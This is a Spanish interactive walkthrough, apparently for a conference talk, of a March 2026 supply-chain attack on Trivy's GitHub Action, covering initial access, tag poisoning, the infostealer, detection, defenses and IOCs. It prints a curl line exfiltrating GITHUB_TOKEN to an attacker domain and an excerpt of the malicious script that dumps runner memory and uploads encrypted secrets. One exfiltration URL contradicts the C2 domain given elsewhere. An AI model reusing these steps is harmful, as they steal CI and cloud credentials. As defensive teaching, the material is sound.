El escáner se convirtió en el atacante
intro · recorrido interactivo
Compromiso de cadena de suministro · marzo 2026 · TeamPCP

El escáner se convirtió en el atacante

Trivy es uno de los escáneres de vulnerabilidades de código abierto más usados del mundo — miles de pipelines de CI lo ejecutan cada hora. En marzo de 2026, la herramienta con la que millones de desarrolladores buscaban malware se convirtió, en silencio, en el vector que lo distribuía. Esta es la cadena de ataque completa, paso a paso — y cómo se detectó.

CVE-2026-33634 CVSS 9.4 Crítico GHSA-cxm3-wv7p-598c CISA KEV · 26 mar 2026 TeamPCP
Objetivoaquasecurity/trivy-action — GitHub Action usada por miles de repos
Tipo de ataqueEnvenenamiento de tags + robo de credenciales + worm de cadena de suministro (CanisterWorm)
Evento clave76 de 77 tags versionadas reenviadas con force-push a commits impostor · 19 mar, 17:43 UTC
Detectado pormonitoreo de egress de StepSecurity Harden-Runner (conexión saliente anómala al C2)
0
tags versionadas envenenadas
solo 0.35.0 sobrevivió — immutable releases
0
trivy-action sirvió malware
17:43 UTC 19 mar → 05:40 UTC 20 mar
0
entornos cloud infectados
en toda la cascada de CanisterWorm
0
entre el primer compromiso
y el golpe de envenenamiento de tags
Cómo usar este recorrido

Diez escenas, aproximadamente una por fase del ataque. Usa la barra lateral, los botones Anterior / Siguiente o las flechas del teclado. Todos los elementos interactivos se pueden pulsar sin riesgo — nada de esto hace llamadas de red. Tu escena actual sobrevive una recarga de página (se guarda localmente).

Escena 02 · La víctima

aquasecurity/trivy-action

Antes del ataque, esto parecía un repo open-source saludable: estrellas, releases, un historial de versiones etiquetado en el que confiaban miles de workflows. El peligro se escondía en algo que todos hacemos a diario — confiar en un tag de versión.

aquasecurity/trivy-action Público
8.4k estrellas 512 forks 1.2k la usan
Código Issues 89 Pull requests 34 Discussions Actions Releases 77

Acerca de

Escanea imágenes de contenedor, filesystems y repos en busca de vulnerabilidades y malas configuraciones — desde tu workflow de GitHub Actions.

securityvulnerability-scannergithub-actionstrivy

Releases

Así se veían más de 1,200 workflows

# .github/workflows/scan.yml  (en TU repo)
name: security-scan
on: [push, pull_request]

jobs:
  trivy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@0.34.2
Escena 03 · Acceso inicial · 21–28 feb 2026

La trampa de pull_request_target

El ataque comenzó un mes antes. Una cuenta bot autónoma, hackerbot-claw (atribuida al actor de amenazas TeamPCP), encontró un workflow mal configurado en aquasecurity/trivy — uno que mezclaba la combinación más peligrosa de GitHub Actions: código no confiable + un token privilegiado. Pulsa reproducir y mira cada salto.

los pasos avanzan automáticamente
Paso 1
PR desde un fork
La bot hackerbot-claw abre un pull request desde un fork con un cambio "inofensivo".
hackerbot-claw: patch-1 → aquasecurity/trivy
Paso 2
Se dispara pull_request_target
El workflow corre en el contexto del repo base — con los secrets del repo base y un token con permisos de escritura en alcance.
on: pull_request_target
Paso 3
Se descarga código no confiable
El workflow hace checkout del código del fork — el código del atacante ahora corre con el token privilegiado disponible.
- uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }}
Paso 4
Token exfiltrado
El código del atacante lee GITHUB_TOKEN / un PAT de mantenedor del entorno y lo envía al C2.
curl -d "$GITHUB_TOKEN" \ https://scan.aquasecurtiy.org
Paso 5
Toma del repo
Con un PAT de escritura, TeamPCP privatiza el repo, borra los releases v0.27.0 → v0.69.1 y sube un artefacto sospechoso a la extensión de Trivy para VS Code en Open VSX.
gh release delete v0.27.0 … v0.69.1
El error central

pull_request_target existe para que los workflows puedan comentar o etiquetar PRs usando secrets — siempre corre con las credenciales del repo base. Hacer checkout del propio código del PR (no confiable) dentro de ese workflow le entrega esas credenciales directamente a quien abrió el PR. Es un anti-patrón muy conocido (GitHub lo documenta como peligroso) — y fue la puerta de entrada de toda la campaña.

Escena 04 · Remediación incompleta · 1 mar 2026

La credencial olvidada

Aqua divulgó la brecha (GitHub discussion #10265) y rotó credenciales. ¿Buena respuesta, no? La rotación solo funciona si es exhaustiva. En algún punto del inventario quedó una credencial viva — y TeamPCP se quedó en silencio con las llaves del reino. Pulsa el botón y fíjate bien.

fíjate bien… hay una tarjeta que no se voltea
····· 18 días después ····· 19 de marzo de 2026 — 17:43 UTC
Escena 05 · El evento clave · 19 mar 2026 · 17:43 UTC

Envenenamiento de tags — encuentra la falsificación

El atacante reenvió con force-push 76 de 77 tags de trivy-action (cada tag de 0.0.1 a 0.34.2) más los 7 tags de setup-trivy. Cada uno fue repuntado a un "commit impostor": el árbol del HEAD de master (commit 57a97c7e) con solo entrypoint.sh cambiado por un infostealer malicioso — envuelto en metadatos perfectamente falsificados. Haz clic en los commits de abajo y encuentra las pistas. Encuentra al menos 3.

Pistas encontradas: 0 / 3 necesarias
inspecciona los commits sospechosos…
Mini diff — entrypoint.sh (extracto representativo del archivo malicioso de 204 líneas)
@@ archivo malicioso: líneas 1–105 = infostealer antepuesto AL código real @@
- #!/bin/bash                                   ← línea 1: sigue pareciendo lo de siempre
- # --- [ infostealer de TeamPCP, líneas 4–105 ] ---------------------------
- if sudo -n true 2>/dev/null; then             ← sudo sin contraseña en runners hospedados
-   RUNNER_PID=$(pgrep -f "Runner.Worker" | head -1)
-   sudo python3 - "$RUNNER_PID" <<'PY'          ← vuelca la memoria de Runner.Worker
-     # lee /proc/<pid>/mem, busca {"value":"…","isSecret":true}
- fi
- # …AES-256-CBC + PBKDF2, clave envuelta con RSA-4096 OAEP, paquete → tpcp.tar.gz
- curl -s -X POST -F "f=@tpcp.tar.gz" https://scan.aquasecurtiy.org
@@ líneas 106–204: el código legítimo de escaneo de Trivy, sin cambios @@
  #!/usr/bin/env bash
  set -euo pipefail
  …
+ trivy $SCAN_TYPE $FORMAT $OUTPUT $SEVERITY $TARGET   ← el escaneo real sigue corriendo
+ exit 0                                          ← el workflow "tiene éxito"
Escena 06 · El payload

Anatomía del malware

El entrypoint.sh malicioso tiene 204 líneas: las líneas 4–105 son el infostealer, las 106–204 son el escaneo legítimo de Trivy. El malware se ejecuta primero; después, el escaneo real sigue su curso con normalidad — así que cada workflow parece terminar bien. Tres fases:

recolectar → cifrar → exfiltrar
1 RECOLECTAR

runner
de GitHub
Runner.Worker
~/.aws/credentials
~/.ssh/id_rsa
~/.kube/config
~/.npmrc · ~/.netrc
terraform.tfstate
crypto wallets (BTC/ETH/SOL)
# runner hospedado: sudo sin contraseña → volcado de /proc/<pid>/mem # buscando en la memoria de Runner.Worker el sobre de secrets de GitHub…
Runners hospedados: sudo + Python vuelcan la memoria de Runner.Worker desde /proc/<pid>/mem.
Self-hosted: un recolector de filesystem ("TeamPCP Cloud stealer") barre más de 50 rutas — llaves SSH, credenciales cloud, kubeconfigs, llaves TLS, WireGuard, wallets, historiales de shell.
2 CIFRAR
secrets.tar
AES-256-CBC · derivación de clave PBKDF2 clave de sesión envuelta con clave pública RSA-4096 embebida (OAEP)
tpcp.tar.gz
Todo lo robado se comprime y cifra en tpcp.tar.gz antes de salir de la máquina — así también se cuela a través de los filtros de contenido de egress más ingenuos.
3 EXFILTRAR
POST https://aquasecurity.org
plan B: crear un repo público llamado tpcp-docs en la propia cuenta GitHub de la víctima (vía INPUT_GITHUB_PAT) → subir el paquete como release asset → limpiar archivos temporales
POST por HTTPS de tpcp.tar.gz a un dominio C2 typosquat — y luego los archivos temporales se borran.
El binario fue más allá

El binario malicioso de Trivy v0.69.4 (publicado ~18:22 UTC, ventana de exposición hasta ~21:42 UTC) además instaló persistencia en las máquinas de los desarrolladores — no en CI: un dropper Python en ~/.config/systemd/user/sysmon.py más una unidad de systemd de usuario que consulta un C2 en blockchain ICP (tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io).

Escena 07 · La perspectiva de la víctima · noche del 19 mar (UTC)

Una ejecución de CI completamente normal

Esta es la parte que hizo el ataque tan efectivo. Mira un workflow que termina todo en verde — checkout, setup, escaneo, check verde, cero vulnerabilidades. Luego cambia de vista para ver qué pasaba en el mismo runner, en los mismos segundos.

el escaneo sí funciona de verdad — ese es el truco
 acme-corp / storefront · PR #482 · security-scan
Canal lateral — mismo runner, mismos segundos
El punto clave

El escaneo de Trivy corrió de verdad y pasó de verdad. El malware se ejecutó primero, robó los secrets en segundo plano y luego le pasó el control al escáner legítimo. Un check verde te dice que el escaneo funcionó — no te dice nada de qué más se ejecutó. Confiar en "pasó" es justo lo que dejó que esto ardiera ~12 horas en miles de pipelines.

Escena 08 · Campaña completa

Línea de tiempo y alcance

De un workflow mal configurado a un worm que infectó más de 1,000 entornos cloud — en cinco semanas. Haz clic en cualquier nodo para expandir los detalles. Desplázate horizontalmente para seguir la campaña.

La cascada — un compromiso, muchas víctimas

Cadena de suministro de Trivy CVE-2026-33634 · TeamPCP Imágenes de Docker Hub trivy:0.69.5 / 0.69.6 (22 mar) Extensión de VS Code artefacto en Open VSX (28 feb) trivy-action + setup-trivy 76+7 tags envenenados (19 mar) Checkmarx KICS kics-github-action (23 mar) LiteLLM (PyPI) releases maliciosos (24–25 mar) CanisterWorm → npm 66+ paquetes · tokens NPM robados más de 1,000 entornos cloud infectados · CISA KEV el 26 mar 2026
Escena 09 · Defiéndete

Haz que este ataque sea aburrido

Cada eslabón de esta cadena tiene una contramedida barata y aburrida. Alterna entre las versiones insegura y segura de abajo, y llévate la lista del lunes por la mañana a tu equipo.

# ❌ INSEGURO — tag mutable, repuntado silencioso
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@0.34.2   # ← un puntero. puede moverse.
# ✅ SEGURO — fijado a un commit SHA completo
# (Dependabot/Renovate aún pueden actualizarlo con un PR + revisión)
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1
Fija también las imágenes de contenedor — por digest
# ❌ el tag también puede repuntarse en el registry
image: aquasec/trivy:0.69.4

# ✅ el digest es direccionado por contenido — inmutable
image: aquasec/trivy@sha256:822dd269ec10…  (¡verifica el digest real!)
Elimina los tokens de larga duración — OIDC Trusted Publishers
# Sin llaves de AWS guardadas en GitHub:
permissions:
  id-token: write   # emite un token OIDC de corta duración
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::…:role/ci-deploy

Los proveedores cloud (y los "Trusted Publishers" de npm/PyPI/Docker) emiten credenciales de corta duración y alcance limitado al workload — nada que robar en un volcado de memoria, y la rotación pasa a ser problema de otro.

GITHUB_TOKEN con privilegio mínimo
# El token por defecto tiene escritura-total en muchos repos.
# Redúcelo a nada y agrega solo lo necesario:
permissions: read-all
# o explícitamente:
permissions:
  contents: read
  pull-requests: write

Un token robado que solo puede leer no puede reenviar 76 tags con force-push ni borrar releases. Combinado con immutable releases y atestaciones de procedencia (actions/attest-build-provenance), incluso una toma del repo deja de ser un evento de cadena de suministro.

Seis cosas que hacer el lunes por la mañana

Fija cada referencia uses: de tu org a un commit SHA completo (automatiza con pinact/Renovate; revisa cada actualización como código).
Fija cada imagen de contenedor a un digest SHA256 — incluidas las imágenes base de CI.
Reemplaza las credenciales guardadas de cloud y de publicación de paquetes con OIDC Trusted Publishers.
Audita los workflows con pull_request_target: nunca hagas checkout del código del PR; nunca imprimas secrets; tokens de solo lectura por defecto.
Activa el monitoreo de egress de CI / políticas de red en runtime (estilo Harden-Runner). Un escáner que llama a casa debería hacer sonar las alarmas.
Si alguna vez ejecutaste una versión comprometida: rota todo a lo que ese runner pudo acceder — credenciales cloud, llaves SSH, tokens de NPM, kubeconfigs… y busca repos tpcp-docs y el dropper sysmon.py.

Indicadores de compromiso (IOCs)

TipoValorNota
Dominio C2scan.aquasecurtiy.orgTyposquat — se cambió una 'i' (el real: aquasec)
IP45.148.10.212Infraestructura C2
C2 secundarioplug-tab-protective-relay.trycloudflare.comTúnel de respaldo
Repo de exfiltracióntpcp-docsCreado en la propia cuenta GitHub de la víctima (ruta de respaldo)
Persistencia~/.config/systemd/user/sysmon.pyDropper de v0.69.4 + unidad de systemd de usuario; consulta el C2 ICP tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
SHA-256 · script18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aentrypoint.sh malicioso
SHA-256 · binario822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0Trivy v0.69.4 Linux-64bit malicioso
Fuentes y créditos

Línea de tiempo, IOCs y mecánica del ataque a partir de reportes públicos: aviso de Aqua Security y GitHub discussion #10265, aviso de GitHub GHSA-cxm3-wv7p-598c, insights y análisis de StepSecurity Harden-Runner, CISA KEV (agregado el 26 mar 2026), e investigaciones de Wiz y Socket sobre la cascada de CanisterWorm en npm. CVE-2026-33634 · CVSS 9.4 · TeamPCP.

Recreación educativa para una charla de conferencia. Todas las líneas de tiempo e IOCs provienen de avisos públicos.
Escena 10 · Detección · Cómo se descubrió de verdad

El monitoreo de egress lo atrapó

No un escáner. No una firma. Monitoreo de red de egress. Harden-Runner de StepSecurity (desplegado en más de 12,000 repos públicos) alertó sobre una conexión saliente anómala al C2 del atacante desde el trivy-action comprometido — visible públicamente en los insights de Harden-Runner del proyecto k8gb-io/k8gb. Ejecuta la simulación y luego trabaja la lista forense.

runner de CI (ubuntu-latest) ✓ actions/checkout@v4 ▶ aquasecurity/trivy-action@0.34.2 · upload-artifact Harden-Runner proxy de egress ghcr.io esperado api.github.com esperado scan.aquasecurtiy .org ⚠ C2
Consola de detección
· proxy de egress armado — dominios esperados en la lista blanca
· esperando el paso del job: trivy scan…
CONEXIÓN SALIENTE ANÓMALA

El paso trivy-action@0.34.2 se está conectando a scan.aquasecurtiy.org — un dominio nunca antes visto en este workflow. Un escáner de vulnerabilidades no tiene ninguna razón legítima para contactar un dominio desconocido. Así es como StepSecurity detectó el compromiso en la vida real (k8gb-io/k8gb, insights públicos de Harden-Runner).

Parte B — Lista forense de cacería

Supón que sospechas una falsificación de tags. Trabaja la lista — marca cada técnica. 0 / 5

Revisa las firmas de los commits
Los commits originales de los releases estaban firmados con GPG (los merges de la web de GitHub muestran Verified ✓). Los commits impostor están sin firma — mismo mensaje, sin firma.
Verifica el linaje de los commits
Commits fechados en 2021/2022 con un padre fechado en marzo de 2026 — un linaje imposible. Un commit no puede ser anterior a su propio padre.
Inspecciona el diff, no el mensaje
Cada commit impostor toca solo entrypoint.sh — mientras que los commits originales que falsifica tocaban muchos archivos. Un solo archivo, sin contexto.
Pásale strings al binario
strings trivy | grep aquasecurtiy — el binario v0.69.4 Linux-64bit contiene literalmente el dominio C2. Además: las páginas de release de GitHub mostraban "0 commits to master since this release" en tags de 2020, y los badges de Immutable seguían visibles — no confíes en el badge.
Busca exfiltración de respaldo y persistencia
Busca en tu org repos llamados tpcp-docs (ruta de exfiltración de respaldo) y revisa las máquinas de los desarrolladores en busca de ~/.config/systemd/user/sysmon.py y su unidad de systemd (persistencia de v0.69.4).
20:38 UTC — contención
Aqua contenía el ataque ~3 horas después del envenenamiento de tags (17:43 → 20:38). trivy-action siguió sirviendo malware hasta las 05:40 UTC del 20 mar (~12h) — con miles de ejecuciones de por medio.